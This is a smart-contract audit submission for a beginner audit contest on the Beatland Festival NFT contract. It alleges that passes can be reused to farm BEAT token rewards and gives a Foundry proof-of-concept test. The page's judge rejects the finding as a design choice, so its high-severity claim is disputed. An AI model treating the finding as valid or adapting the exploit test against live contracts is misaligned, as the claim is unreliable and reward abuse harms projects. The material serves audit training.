Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

[H-3] Pass Reuse Vulnerability Allows Unlimited Performance Attendance

[H-3] Pass Reuse Vulnerability Allows Unlimited Performance Attendance

Description

The FestivalPass::attendPerformance contract contains a critical vulnerability where festival passes are not burned after use. This allows users to attend multiple performances with a single pass and get the BeatToken rewards

In the FestivalPass::attendPerformance function:

// Attend a performance to earn BEAT
function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

The function only tracks attendance per performance (hasAttended[performanceId][msg.sender]) but doesn't consume the pass, allowing unlimited reuse across different performances.

Impact

  • Users can earn significantly more BEAT tokens than intended by attending multiple performances with a single pass purchase

  • The festival loses potential revenue as users don't need to buy additional passes for multiple performances

  • Excessive BEAT token minting due to unlimited performance attendance causes token inflation

Proof of Concept

Consider this scenario:

  1. A user buys 1 VIP pass for 0.1 ETH (should only allow 1 performance)

  2. User attends 4 performances, earning 800 BEAT tokens instead of 200 BEAT tokens

  3. Unfair advantage: 600 BEAT tokens (3x more than intended)

Proof of Code

function test_PassReuseVulnerability() public {
// Step 1: Create multiple performances for testing
uint256 baseReward = 100e18;
vm.startPrank(organizer);
uint256 performanceId1 = festivalPass.createPerformance(
block.timestamp + 1 hours, // Start in 1 hour
2 hours, // Duration
baseReward // Base reward: 100 BEAT tokens
);
uint256 performanceId2 = festivalPass.createPerformance(
block.timestamp + 4 hours, // Start in 4 hours
2 hours, // Duration
baseReward // Base reward: 100 BEAT tokens
);
uint256 performanceId3 = festivalPass.createPerformance(
block.timestamp + 7 hours, // Start in 7 hours
2 hours, // Duration
baseReward // Base reward: 100 BEAT tokens
);
vm.stopPrank();
// Step 2: User buys only 1 VIP pass
vm.startPrank(user1);
festivalPass.buyPass{value: VIP_PRICE}(2); // 1 VIP pass
vm.stopPrank();
// Step 3: VULNERABILITY - User attends all three performances with the same pass
// Fast forward to first performance
vm.warp(block.timestamp + 1 hours + 30 minutes);
vm.startPrank(user1);
festivalPass.attendPerformance(performanceId1);
vm.stopPrank();
// Fast forward past cooldown and to second performance
vm.warp(block.timestamp + COOLDOWN + 2 hours + 30 minutes);
vm.startPrank(user1);
festivalPass.attendPerformance(performanceId2);
vm.stopPrank();
// Fast forward past cooldown and to third performance
vm.warp(block.timestamp + COOLDOWN + 2 hours + 30 minutes);
vm.startPrank(user1);
festivalPass.attendPerformance(performanceId3);
vm.stopPrank();
// Step 4: Verify the vulnerability - user still has their pass
// The pass should have been burned after each use, but it wasn't!
assertEq(
festivalPass.balanceOf(user1, 2),
1,
"VULNERABILITY: User still has their pass after attending 3 performances!"
);
// Step 5: Calculate the unfair rewards
uint256 vipMultiplier = 2; // VIP gets 2x multiplier
uint256 totalRewardEarned = baseReward * vipMultiplier * 3; // 2x multiplier for 3 performances
uint256 totalWithBonus = VIP_WELCOME_BONUS + totalRewardEarned;
// User received welcome bonus + 2x multiplier for all three performances
assertEq(beatToken.balanceOf(user1), totalWithBonus, "User earned rewards for all 3 performances");
// Step 6: Demonstrate the economic impact
// Fair scenario: User should only be able to attend 1 performance with 1 pass
uint256 fairReward = VIP_WELCOME_BONUS + (baseReward * vipMultiplier); // Only 1 performance
uint256 unfairAdvantage = totalWithBonus - fairReward;
assertGt(totalWithBonus, fairReward, "VULNERABILITY: User earned more than they should have!");
assertEq(unfairAdvantage, baseReward * vipMultiplier * 2, "User got 2 extra performance rewards");
// Step 7: Show that the user can even attend more performances
// Create another performance
vm.startPrank(organizer);
uint256 performanceId4 = festivalPass.createPerformance(
block.timestamp + 2 hours, // Start in 2 hours
2 hours, // Duration
baseReward // Base reward: 100 BEAT tokens
);
vm.stopPrank();
// Fast forward to the new performance
vm.warp(block.timestamp + 2 hours + 30 minutes);
vm.startPrank(user1);
festivalPass.attendPerformance(performanceId4);
vm.stopPrank();
// User can attend a 4th performance with the same pass!
assertEq(
festivalPass.balanceOf(user1, 2), 1, "VULNERABILITY: User can attend unlimited performances with 1 pass!"
);
// Final reward calculation
uint256 finalReward = VIP_WELCOME_BONUS + (baseReward * vipMultiplier * 4); // 4 performances
assertEq(beatToken.balanceOf(user1), finalReward, "User earned rewards for 4 performances with 1 pass");
console.log("VULNERABILITY DEMONSTRATED:");
console.log("User bought 1 VIP pass for", VIP_PRICE, "ETH");
console.log("User attended 4 performances and earned", finalReward, "BEAT tokens");
console.log("Fair reward should have been", VIP_WELCOME_BONUS + (baseReward * vipMultiplier), "BEAT tokens");
console.log(
"Unfair advantage:", finalReward - (VIP_WELCOME_BONUS + (baseReward * vipMultiplier)), "BEAT tokens"
);
}

Recommended Mitigation

A pass is represented as a token in the FestivalPass contract (ERC 1155) so we burn the pass after use

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.